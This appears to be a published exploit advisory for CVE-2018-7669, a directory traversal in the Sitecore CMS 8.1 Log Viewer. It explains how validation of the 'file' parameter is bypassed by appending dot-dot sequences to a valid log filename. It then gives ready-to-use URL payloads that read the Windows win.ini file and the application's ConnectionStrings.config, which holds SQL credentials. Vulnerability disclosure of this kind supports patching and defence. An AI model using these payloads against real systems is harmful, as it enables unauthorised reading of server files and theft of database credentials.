Sitecore.Net 8.1 - Directory Traversal

# Exploit Title: Sitecore.Net 8.1 - Directory Traversal
# Date: 2018-04-23
# CVE: CVE-2018-7669
# Researcher: Chris Moberly at The Missing Link Security
# Vendor: Sitecore
# Version: CMS - 8.1 and up (earlier versions untested)
# Authentication required: Yes

# An issue was discovered in Sitecore CMS that affects at least
# 'Sitecore.NET 8.1' rev. 151207 Hotfix 141178-1 and above. The 'Log Viewer'
# application is vulnerable to a directory traversal attack, allowing an attacker
# to access arbitrary files from the host Operating System using a
# 'sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=' URI. Validation
# is performed to ensure that the text passed to the 'file' parameter correlates
# to the correct log file directory. This filter can be bypassed by including a
# valid log filename and then appending a traditional 'dot dot' style attack.

# [Steps to Reproduce]
# The 'Log Viewer' application renders log files from the local filesystem inside
# the web browser using a URL like the following:
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=

# The following URL can be used to validate the vulnerability by accessing the
# win.ini file on a Windows host (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c<website>%5cdata%5clogs%5<valid log file>.txt\..\..\..\..\..\windows\win.ini

# The following URL can be used to access the application's configuration file
# containing SQL login credentials (remove line breaks):
http://<website>/sitecore/shell/default.aspx?xmlcontrol=LogViewerDetails&file=c%3a%5cwebsites%5c<website>%5cdata%5clogs%5c<valid log file>.txt\..\..\..\Website\App_Config\ConnectionStrings.config

# Both of the above URLs are dependent on the application's configuration and
# must be modified to correct the <website> and <valid log file> portion.